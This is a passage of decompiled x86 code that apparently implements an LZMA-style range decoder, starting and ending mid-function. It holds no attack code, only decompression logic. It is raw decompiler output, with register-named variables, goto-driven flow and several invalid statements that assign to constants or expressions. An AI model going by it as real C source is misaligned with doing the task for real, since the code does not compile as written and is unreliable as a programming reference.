                                                                                                        											 *_t67 =  &(( *(_t612 - 0x70))[1]);
                                                                                                        											__eflags =  *_t67;
                                                                                                        											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
                                                                                                        											L23:
                                                                                                        											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
                                                                                                        											if( *(_t612 - 0x48) != 0) {
                                                                                                        												goto L21;
                                                                                                        											}
                                                                                                        											goto L24;
                                                                                                        										case 4:
                                                                                                        											L133:
                                                                                                        											_t531 =  *_t605;
                                                                                                        											_t588 = _t531 & 0x0000ffff;
                                                                                                        											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
                                                                                                        											if( *(_t612 - 0xc) >= _t564) {
                                                                                                        												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
                                                                                                        												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
                                                                                                        												 *(_t612 - 0x40) = 1;
                                                                                                        												_t532 = _t531 - (_t531 >> 5);
                                                                                                        												__eflags = _t532;
                                                                                                        												 *_t605 = _t532;
                                                                                                        											} else {
                                                                                                        												 *(_t612 - 0x10) = _t564;
                                                                                                        												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
                                                                                                        												 *_t605 = (0x800 - _t588 >> 5) + _t531;
                                                                                                        											}
                                                                                                        											if( *(_t612 - 0x10) >= 0x1000000) {
                                                                                                        												goto L139;
                                                                                                        											} else {
                                                                                                        												goto L137;
                                                                                                        											}
                                                                                                        										case 5:
                                                                                                        											L137:
                                                                                                        											if( *(_t612 - 0x6c) == 0) {
                                                                                                        												 *(_t612 - 0x88) = 5;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
                                                                                                        											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
                                                                                                        											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
                                                                                                        											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
                                                                                                        											L139:
                                                                                                        											_t533 =  *(_t612 - 0x84);
                                                                                                        											goto L140;
                                                                                                        										case 6:
                                                                                                        											__edx = 0;
                                                                                                        											__eflags =  *(__ebp - 0x40);
                                                                                                        											if( *(__ebp - 0x40) != 0) {
                                                                                                        												__eax =  *(__ebp - 4);
                                                                                                        												__ecx =  *(__ebp - 0x38);
                                                                                                        												 *(__ebp - 0x34) = 1;
                                                                                                        												 *(__ebp - 0x84) = 7;
                                                                                                        												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                                                                                        												goto L132;
                                                                                                        											}
                                                                                                        											__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                                                                        											__esi =  *(__ebp - 0x60);
                                                                                                        											__cl = 8;
                                                                                                        											__cl = 8 -  *(__ebp - 0x3c);
                                                                                                        											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                                                                        											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                                                                        											__ecx =  *(__ebp - 0x3c);
                                                                                                        											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                                                                        											__ecx =  *(__ebp - 4);
                                                                                                        											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                                                                        											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                                                                        											__eflags =  *(__ebp - 0x38) - 4;
                                                                                                        											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                                        											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                                        											if( *(__ebp - 0x38) >= 4) {
                                                                                                        												__eflags =  *(__ebp - 0x38) - 0xa;
                                                                                                        												if( *(__ebp - 0x38) >= 0xa) {
                                                                                                        													_t98 = __ebp - 0x38;
                                                                                                        													 *_t98 =  *(__ebp - 0x38) - 6;
                                                                                                        													__eflags =  *_t98;
                                                                                                        												} else {
                                                                                                        													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                                                                        												}
                                                                                                        											} else {
                                                                                                        												 *(__ebp - 0x38) = 0;
                                                                                                        											}
                                                                                                        											__eflags =  *(__ebp - 0x34) - __edx;
                                                                                                        											if( *(__ebp - 0x34) == __edx) {
                                                                                                        												__ebx = 0;
                                                                                                        												__ebx = 1;
                                                                                                        												goto L61;
                                                                                                        											} else {
                                                                                                        												__eax =  *(__ebp - 0x14);
                                                                                                        												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                                        												__eflags = __eax -  *(__ebp - 0x74);
                                                                                                        												if(__eax >=  *(__ebp - 0x74)) {
                                                                                                        													__eax = __eax +  *(__ebp - 0x74);
                                                                                                        													__eflags = __eax;
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 8);
                                                                                                        												__ebx = 0;
                                                                                                        												__ebx = 1;
                                                                                                        												__al =  *((intOrPtr*)(__eax + __ecx));
                                                                                                        												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                                                                        												goto L41;
                                                                                                        											}
                                                                                                        										case 7:
                                                                                                        											__eflags =  *(__ebp - 0x40) - 1;
                                                                                                        											if( *(__ebp - 0x40) != 1) {
                                                                                                        												__eax =  *(__ebp - 0x24);
                                                                                                        												 *(__ebp - 0x80) = 0x16;
                                                                                                        												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                                        												__eax =  *(__ebp - 0x28);
                                                                                                        												 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                                        												__eax =  *(__ebp - 0x2c);
                                                                                                        												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                                        												__eax = 0;
                                                                                                        												__eflags =  *(__ebp - 0x38) - 7;
                                                                                                        												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                                        												__al = __al & 0x000000fd;
                                                                                                        												__eax = (__eflags >= 0) - 1 + 0xa;
                                                                                                        												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                                                                                        												__eax =  *(__ebp - 4);
                                                                                                        												__eax =  *(__ebp - 4) + 0x664;
                                                                                                        												__eflags = __eax;
                                                                                                        												 *(__ebp - 0x58) = __eax;
                                                                                                        												goto L69;
                                                                                                        											}
                                                                                                        											__eax =  *(__ebp - 4);
                                                                                                        											__ecx =  *(__ebp - 0x38);
                                                                                                        											 *(__ebp - 0x84) = 8;
                                                                                                        											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                                                                                        											goto L132;
                                                                                                        										case 8:
                                                                                                        											__eflags =  *(__ebp - 0x40);
                                                                                                        											if( *(__ebp - 0x40) != 0) {
                                                                                                        												__eax =  *(__ebp - 4);
                                                                                                        												__ecx =  *(__ebp - 0x38);
                                                                                                        												 *(__ebp - 0x84) = 0xa;
                                                                                                        												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                                                                                        											} else {
                                                                                                        												__eax =  *(__ebp - 0x38);
                                                                                                        												__ecx =  *(__ebp - 4);
                                                                                                        												__eax =  *(__ebp - 0x38) + 0xf;
                                                                                                        												 *(__ebp - 0x84) = 9;
                                                                                                        												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                                                                        												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                                                                                        											}
                                                                                                        											goto L132;
                                                                                                        										case 9:
                                                                                                        											__eflags =  *(__ebp - 0x40);
                                                                                                        											if( *(__ebp - 0x40) != 0) {
                                                                                                        												goto L90;
                                                                                                        											}
                                                                                                        											__eflags =  *(__ebp - 0x60);
                                                                                                        											if( *(__ebp - 0x60) == 0) {
                                                                                                        												goto L171;
                                                                                                        											}
                                                                                                        											__eax = 0;
                                                                                                        											__eflags =  *(__ebp - 0x38) - 7;
                                                                                                        											_t259 =  *(__ebp - 0x38) - 7 >= 0;
                                                                                                        											__eflags = _t259;
                                                                                                        											0 | _t259 = _t259 + _t259 + 9;
                                                                                                        											 *(__ebp - 0x38) = _t259 + _t259 + 9;
                                                                                                        											goto L76;
                                                                                                        										case 0xa:
                                                                                                        											__eflags =  *(__ebp - 0x40);
                                                                                                        											if( *(__ebp - 0x40) != 0) {
                                                                                                        												__eax =  *(__ebp - 4);
                                                                                                        												__ecx =  *(__ebp - 0x38);
                                                                                                        												 *(__ebp - 0x84) = 0xb;
                                                                                                        												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                                                                                        												goto L132;
                                                                                                        											}
                                                                                                        											__eax =  *(__ebp - 0x28);
                                                                                                        											goto L89;
                                                                                                        										case 0xb:
                                                                                                        											__eflags =  *(__ebp - 0x40);
                                                                                                        											if( *(__ebp - 0x40) != 0) {
                                                                                                        												__ecx =  *(__ebp - 0x24);
                                                                                                        												__eax =  *(__ebp - 0x20);
                                                                                                        												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                                        											} else {
                                                                                                        												__eax =  *(__ebp - 0x24);
                                                                                                        											}
                                                                                                        											__ecx =  *(__ebp - 0x28);
                                                                                                        											 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                                        											L89:
                                                                                                        											__ecx =  *(__ebp - 0x2c);
                                                                                                        											 *(__ebp - 0x2c) = __eax;
                                                                                                        											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                                        											L90:
                                                                                                        											__eax =  *(__ebp - 4);
                                                                                                        											 *(__ebp - 0x80) = 0x15;
                                                                                                        											__eax =  *(__ebp - 4) + 0xa68;
                                                                                                        											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                                                                                        											goto L69;
                                                                                                        										case 0xc:
                                                                                                        											L100:
                                                                                                        											__eflags =  *(__ebp - 0x6c);
                                                                                                        											if( *(__ebp - 0x6c) == 0) {
                                                                                                        												 *(__ebp - 0x88) = 0xc;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											__ecx =  *(__ebp - 0x70);
                                                                                                        											__eax =  *(__ebp - 0xc);
                                                                                                        											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											_t335 = __ebp - 0x70;
                                                                                                        											 *_t335 =  *(__ebp - 0x70) + 1;
                                                                                                        											__eflags =  *_t335;
                                                                                                        											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											__eax =  *(__ebp - 0x2c);
                                                                                                        											goto L102;
                                                                                                        										case 0xd:
                                                                                                        											L37:
                                                                                                        											__eflags =  *(__ebp - 0x6c);
                                                                                                        											if( *(__ebp - 0x6c) == 0) {
                                                                                                        												 *(__ebp - 0x88) = 0xd;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											__ecx =  *(__ebp - 0x70);
                                                                                                        											__eax =  *(__ebp - 0xc);
                                                                                                        											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											_t122 = __ebp - 0x70;
                                                                                                        											 *_t122 =  *(__ebp - 0x70) + 1;
                                                                                                        											__eflags =  *_t122;
                                                                                                        											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											L39:
                                                                                                        											__eax =  *(__ebp - 0x40);
                                                                                                        											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                                        											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                                                                        												goto L48;
                                                                                                        											}
                                                                                                        											__eflags = __ebx - 0x100;
                                                                                                        											if(__ebx >= 0x100) {
                                                                                                        												goto L54;
                                                                                                        											}
                                                                                                        											L41:
                                                                                                        											__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                                                                                        											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                                                                        											__ecx =  *(__ebp - 0x58);
                                                                                                        											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                                                                        											 *(__ebp - 0x48) = __eax;
                                                                                                        											__eax = __eax + 1;
                                                                                                        											__eax = __eax << 8;
                                                                                                        											__eax = __eax + __ebx;
                                                                                                        											__esi =  *(__ebp - 0x58) + __eax * 2;
                                                                                                        											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                                        											__ax =  *__esi;
                                                                                                        											 *(__ebp - 0x54) = __esi;
                                                                                                        											__edx = __ax & 0x0000ffff;
                                                                                                        											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                                                                                        											__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                                        											if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        												__cx = __ax;
                                                                                                        												 *(__ebp - 0x40) = 1;
                                                                                                        												__cx = __ax >> 5;
                                                                                                        												__eflags = __eax;
                                                                                                        												__ebx = __ebx + __ebx + 1;
                                                                                                        												 *__esi = __ax;
                                                                                                        											} else {
                                                                                                        												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                                                                                        												 *(__ebp - 0x10) = __ecx;
                                                                                                        												0x800 = 0x800 - __edx;
                                                                                                        												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                                                                        												__ebx = __ebx + __ebx;
                                                                                                        												 *__esi = __cx;
                                                                                                        											}
                                                                                                        											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        											 *(__ebp - 0x44) = __ebx;
                                                                                                        											if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        												goto L39;
                                                                                                        											} else {
                                                                                                        												goto L37;
                                                                                                        											}
                                                                                                        										case 0xe:
                                                                                                        											L46:
                                                                                                        											__eflags =  *(__ebp - 0x6c);
                                                                                                        											if( *(__ebp - 0x6c) == 0) {
                                                                                                        												 *(__ebp - 0x88) = 0xe;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											__ecx =  *(__ebp - 0x70);
                                                                                                        											__eax =  *(__ebp - 0xc);
                                                                                                        											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											_t156 = __ebp - 0x70;
                                                                                                        											 *_t156 =  *(__ebp - 0x70) + 1;
                                                                                                        											__eflags =  *_t156;
                                                                                                        											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											while(1) {
                                                                                                        												L48:
                                                                                                        												__eflags = __ebx - 0x100;
                                                                                                        												if(__ebx >= 0x100) {
                                                                                                        													break;
                                                                                                        												}
                                                                                                        												__eax =  *(__ebp - 0x58);
                                                                                                        												__edx = __ebx + __ebx;
                                                                                                        												__ecx =  *(__ebp - 0x10);
                                                                                                        												__esi = __edx + __eax;
                                                                                                        												__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                                        												__ax =  *__esi;
                                                                                                        												 *(__ebp - 0x54) = __esi;
                                                                                                        												__edi = __ax & 0x0000ffff;
                                                                                                        												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                                        												__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                                        												if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        													__cx = __ax;
                                                                                                        													_t170 = __edx + 1; // 0x1
                                                                                                        													__ebx = _t170;
                                                                                                        													__cx = __ax >> 5;
                                                                                                        													__eflags = __eax;
                                                                                                        													 *__esi = __ax;
                                                                                                        												} else {
                                                                                                        													 *(__ebp - 0x10) = __ecx;
                                                                                                        													0x800 = 0x800 - __edi;
                                                                                                        													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                                        													__ebx = __ebx + __ebx;
                                                                                                        													 *__esi = __cx;
                                                                                                        												}
                                                                                                        												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        												 *(__ebp - 0x44) = __ebx;
                                                                                                        												if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        													continue;
                                                                                                        												} else {
                                                                                                        													goto L46;
                                                                                                        												}
                                                                                                        											}
                                                                                                        											L54:
                                                                                                        											_t173 = __ebp - 0x34;
                                                                                                        											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                                                                                        											__eflags =  *_t173;
                                                                                                        											goto L55;
                                                                                                        										case 0xf:
                                                                                                        											L58:
                                                                                                        											__eflags =  *(__ebp - 0x6c);
                                                                                                        											if( *(__ebp - 0x6c) == 0) {
                                                                                                        												 *(__ebp - 0x88) = 0xf;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											__ecx =  *(__ebp - 0x70);
                                                                                                        											__eax =  *(__ebp - 0xc);
                                                                                                        											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											_t203 = __ebp - 0x70;
                                                                                                        											 *_t203 =  *(__ebp - 0x70) + 1;
                                                                                                        											__eflags =  *_t203;
                                                                                                        											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											L60:
                                                                                                        											__eflags = __ebx - 0x100;
                                                                                                        											if(__ebx >= 0x100) {
                                                                                                        												L55:
                                                                                                        												__al =  *(__ebp - 0x44);
                                                                                                        												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                                                                                        												goto L56;
                                                                                                        											}
                                                                                                        											L61:
                                                                                                        											__eax =  *(__ebp - 0x58);
                                                                                                        											__edx = __ebx + __ebx;
                                                                                                        											__ecx =  *(__ebp - 0x10);
                                                                                                        											__esi = __edx + __eax;
                                                                                                        											__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                                        											__ax =  *__esi;
                                                                                                        											 *(__ebp - 0x54) = __esi;
                                                                                                        											__edi = __ax & 0x0000ffff;
                                                                                                        											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                                        											__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                                        											if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        												__cx = __ax;
                                                                                                        												_t217 = __edx + 1; // 0x1
                                                                                                        												__ebx = _t217;
                                                                                                        												__cx = __ax >> 5;
                                                                                                        												__eflags = __eax;
                                                                                                        												 *__esi = __ax;
                                                                                                        											} else {
                                                                                                        												 *(__ebp - 0x10) = __ecx;
                                                                                                        												0x800 = 0x800 - __edi;
                                                                                                        												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                                        												__ebx = __ebx + __ebx;
                                                                                                        												 *__esi = __cx;
                                                                                                        											}
                                                                                                        											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        											 *(__ebp - 0x44) = __ebx;
                                                                                                        											if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        												goto L60;
                                                                                                        											} else {
                                                                                                        												goto L58;
                                                                                                        											}
                                                                                                        										case 0x10:
                                                                                                        											L110:
                                                                                                        											__eflags =  *(__ebp - 0x6c);
                                                                                                        											if( *(__ebp - 0x6c) == 0) {
                                                                                                        												 *(__ebp - 0x88) = 0x10;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											__ecx =  *(__ebp - 0x70);
                                                                                                        											__eax =  *(__ebp - 0xc);
                                                                                                        											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											_t366 = __ebp - 0x70;
                                                                                                        											 *_t366 =  *(__ebp - 0x70) + 1;
                                                                                                        											__eflags =  *_t366;
                                                                                                        											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											goto L112;
                                                                                                        										case 0x11:
                                                                                                        											L69:
                                                                                                        											__esi =  *(__ebp - 0x58);
                                                                                                        											 *(__ebp - 0x84) = 0x12;
                                                                                                        											L132:
                                                                                                        											 *(_t612 - 0x54) = _t605;
                                                                                                        											goto L133;
                                                                                                        										case 0x12:
                                                                                                        											goto L0;
                                                                                                        										case 0x13:
                                                                                                        											__eflags =  *(__ebp - 0x40);
                                                                                                        											if( *(__ebp - 0x40) != 0) {
                                                                                                        												_t469 = __ebp - 0x58;
                                                                                                        												 *_t469 =  *(__ebp - 0x58) + 0x204;
                                                                                                        												__eflags =  *_t469;
                                                                                                        												 *(__ebp - 0x30) = 0x10;
                                                                                                        												 *(__ebp - 0x40) = 8;
                                                                                                        												goto L144;
                                                                                                        											}
                                                                                                        											__eax =  *(__ebp - 0x4c);
                                                                                                        											__ecx =  *(__ebp - 0x58);
                                                                                                        											__eax =  *(__ebp - 0x4c) << 4;
                                                                                                        											 *(__ebp - 0x30) = 8;
                                                                                                        											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                                                                                        											goto L130;
                                                                                                        										case 0x14:
                                                                                                        											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                                                                                        											__eax =  *(__ebp - 0x80);
                                                                                                        											L140:
                                                                                                        											 *(_t612 - 0x88) = _t533;
                                                                                                        											goto L1;
                                                                                                        										case 0x15:
                                                                                                        											__eax = 0;
                                                                                                        											__eflags =  *(__ebp - 0x38) - 7;
                                                                                                        											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                                        											__al = __al & 0x000000fd;
                                                                                                        											__eax = (__eflags >= 0) - 1 + 0xb;
                                                                                                        											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                                                                                        											goto L121;
                                                                                                        										case 0x16:
                                                                                                        											__eax =  *(__ebp - 0x30);
                                                                                                        											__eflags = __eax - 4;
                                                                                                        											if(__eax >= 4) {
                                                                                                        												_push(3);
                                                                                                        												_pop(__eax);
                                                                                                        											}
                                                                                                        											__ecx =  *(__ebp - 4);
                                                                                                        											 *(__ebp - 0x40) = 6;
                                                                                                        											__eax = __eax << 7;
                                                                                                        											 *(__ebp - 0x7c) = 0x19;
                                                                                                        											 *(__ebp - 0x58) = __eax;
                                                                                                        											goto L145;
                                                                                                        										case 0x17:
                                                                                                        											goto L145;
                                                                                                        										case 0x18:
                                                                                                        											L146:
                                                                                                        											__eflags =  *(__ebp - 0x6c);
                                                                                                        											if( *(__ebp - 0x6c) == 0) {
                                                                                                        												 *(__ebp - 0x88) = 0x18;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											__ecx =  *(__ebp - 0x70);
                                                                                                        											__eax =  *(__ebp - 0xc);
                                                                                                        											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											_t484 = __ebp - 0x70;
                                                                                                        											 *_t484 =  *(__ebp - 0x70) + 1;
                                                                                                        											__eflags =  *_t484;
                                                                                                        											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											L148:
                                                                                                        											_t487 = __ebp - 0x48;
                                                                                                        											 *_t487 =  *(__ebp - 0x48) - 1;
                                                                                                        											__eflags =  *_t487;
                                                                                                        											goto L149;
                                                                                                        										case 0x19:
                                                                                                        											__eflags = __ebx - 4;
                                                                                                        											if(__ebx < 4) {
                                                                                                        												 *(__ebp - 0x2c) = __ebx;
                                                                                                        												L120:
                                                                                                        												_t394 = __ebp - 0x2c;
                                                                                                        												 *_t394 =  *(__ebp - 0x2c) + 1;
                                                                                                        												__eflags =  *_t394;
                                                                                                        												L121:
                                                                                                        												__eax =  *(__ebp - 0x2c);
                                                                                                        												__eflags = __eax;
                                                                                                        												if(__eax == 0) {
                                                                                                        													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												__eflags = __eax -  *(__ebp - 0x60);
                                                                                                        												if(__eax >  *(__ebp - 0x60)) {
                                                                                                        													goto L171;
                                                                                                        												}
                                                                                                        												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                                                                                        												__eax =  *(__ebp - 0x30);
                                                                                                        												_t401 = __ebp - 0x60;
                                                                                                        												 *_t401 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                                                                                        												__eflags =  *_t401;
                                                                                                        												goto L124;
                                                                                                        											}
                                                                                                        											__ecx = __ebx;
                                                                                                        											__eax = __ebx;
                                                                                                        											__ecx = __ebx >> 1;
                                                                                                        											__eax = __ebx & 0x00000001;
                                                                                                        											__ecx = (__ebx >> 1) - 1;
                                                                                                        											__al = __al | 0x00000002;
                                                                                                        											__eax = (__ebx & 0x00000001) << __cl;
                                                                                                        											__eflags = __ebx - 0xe;
                                                                                                        											 *(__ebp - 0x2c) = __eax;
                                                                                                        											if(__ebx >= 0xe) {
                                                                                                        												__ebx = 0;
                                                                                                        												 *(__ebp - 0x48) = __ecx;
                                                                                                        												L103:
                                                                                                        												__eflags =  *(__ebp - 0x48);
                                                                                                        												if( *(__ebp - 0x48) <= 0) {
                                                                                                        													__eax = __eax + __ebx;
                                                                                                        													 *(__ebp - 0x40) = 4;
                                                                                                        													 *(__ebp - 0x2c) = __eax;
                                                                                                        													__eax =  *(__ebp - 4);
                                                                                                        													__eax =  *(__ebp - 4) + 0x644;
                                                                                                        													__eflags = __eax;
                                                                                                        													L109:
                                                                                                        													__ebx = 0;
                                                                                                        													 *(__ebp - 0x58) = __eax;
                                                                                                        													 *(__ebp - 0x50) = 1;
                                                                                                        													 *(__ebp - 0x44) = 0;
                                                                                                        													 *(__ebp - 0x48) = 0;
                                                                                                        													L113:
                                                                                                        													__eax =  *(__ebp - 0x40);
                                                                                                        													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                                        													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                                                                                        														_t392 = __ebp - 0x2c;
                                                                                                        														 *_t392 =  *(__ebp - 0x2c) + __ebx;
                                                                                                        														__eflags =  *_t392;
                                                                                                        														goto L120;
                                                                                                        													}
                                                                                                        													__eax =  *(__ebp - 0x50);
                                                                                                        													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                                        													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                                        													__eax =  *(__ebp - 0x58);
                                                                                                        													__esi = __edi + __eax;
                                                                                                        													 *(__ebp - 0x54) = __esi;
